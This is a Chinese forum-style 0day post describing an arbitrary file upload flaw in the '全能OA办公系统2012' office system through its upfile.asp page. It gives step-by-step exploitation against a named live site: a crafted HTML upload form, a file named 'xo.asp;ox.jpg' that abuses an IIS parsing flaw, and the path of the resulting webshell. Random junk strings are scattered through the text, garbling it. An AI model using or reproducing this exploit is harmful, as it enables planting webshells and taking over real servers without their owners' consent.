全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
$ u: b! X% `7 U/ x3 R' x系统介绍：

% r  P6 p6 Y/ W6 H+ z" Y$ r/ E全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

主要功能：
0 e. a& N+ j2 J' G  C公司通告
工作计划
! ?  L1 @* [0 z& Y- z通讯助理
客户资源
我的公文
' S- ]) N3 v) r$ V公文传阅
' h& Z/ E; d6 q+ N; h) @+ H+ I公共资源
6 q6 H' w% X" c, W资源预约
今日考勤
个人计划
) H, N' F1 ]$ e* M( u个人通讯录
个人基本档案
未读邮件
发邮件
收件夹
寄件夹
网络硬盘
网络会议
9 K3 \+ m4 P( D, y, n2 W网络调查
交流论坛

有兴趣测试的朋友可以下源码看看
- ]2 \/ `( C1 P, L
源码下载：

http://www.mycodes.net/30/4750.htm
8 U0 u. O) b! J3 Z1 n
漏洞介绍：
1 ^5 J/ L' u* u$ ?4 G
, c& n% c6 a9 g3 \4 m由upfile.asp上传文件漏洞引起

测试方法：

: t" D2 {: Z* U; M) q  N/ }' H使用名小子上传http://www.itlynn.com/upfile.asp即可
: X, O# @- z: N  Y- {* r2 z
1 m  a$ {1 N+ t5 [( P# a. T: B如果upfile.asp文件被删除不存在。
$ |0 q& Z& L& t+ L9 p, Q3 S
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
7 |* s5 ^* l, k6 J8 I5 k) x
4 w! Z2 g5 M6 ^# [% j如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

6 O; M" A+ m' w& _2 ^# k" o
/ g* R" u; V) A, `' d5 u
01 <table border='0' align="center" cellpadding="5">
, G: [; j% j7 }
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>
3 _2 p" e% u2 Q. W
; K8 m( G0 F) F) x+ G7 Y04             <td>报错：</td>
" U0 i5 L, f7 J2 M! P( h- J, F
05             <td><input type='radio' name='errnumber' value='0'>
# l9 R  Z& |6 v( c1 a( }
06               自动更名
2 u" ]& v8 P4 I  u
07               <input type='radio' name='errnumber' value='1' checked>
5 A) v7 e. P& T$ ~
08               报错方式

, d7 n3 @+ X- w09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>

2 {$ L* G5 R9 M/ m" h' ]11           </tr>

12           <tr>
: x; y+ ^+ x9 [. k& u7 f
$ o& ^! d3 Q" R0 @) u. ]0 C4 C/ l0 a1 F. t13             <td>主题：</td>
+ w- K. x' J3 P; w* G/ Y
4 ~; l# L% M: M+ {14             <td><input type='text' name='filename' size='30'></td>

$ Y/ C3 U. m1 x( t; x/ U8 Y15           </tr>
) v$ b5 q; L4 n: t' B
7 A  }9 N, A( c, y. z2 f+ |+ O; E16           <tr>

17             <td>文件：</td>

  S/ s* x" [* b8 j18             <td><input type="file"name="fruit"size="30"></td>
* b: C1 a5 C- w" [% |) A
19           </tr>
& A4 n, Y( t+ r* E7 U
' e1 Z: t7 ?2 o9 A. c20           <tr>
' ~8 @% ~) m' ]( w0 m9 C: O: G
21             <td valign='top'>简介：</td>
/ z9 u4 N, o; F& H$ C' j6 r  u
) E) Z1 W9 g' \6 h7 j9 l% L4 C22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
! O# E9 j6 X; E- [
" ]8 ~& H. k) u2 s( W23           </tr>
& [- @+ ~; @: l! `4 u, b
7 Q+ s1 \( ]$ C! ~) C" o, ]+ t: H24   
+ F, G: L4 t  o6 k
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
' W" Z  g, K1 T5 ~9 r# \' x
26           </tr>
+ q/ d% b5 M, B$ ]; ~$ A
27         </form>
7 v" _% u' I' d: Z$ W2 {) z7 t- E
; ^: S$ H" }/ Y" w: t0 D然后打开上传一个文件名为xo.asp;ox.jpg的文件。



上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

. F. Y3 D0 i7 ?( o9 \此漏洞需要配合解析漏洞利用。
, |( P/ U. t* w; |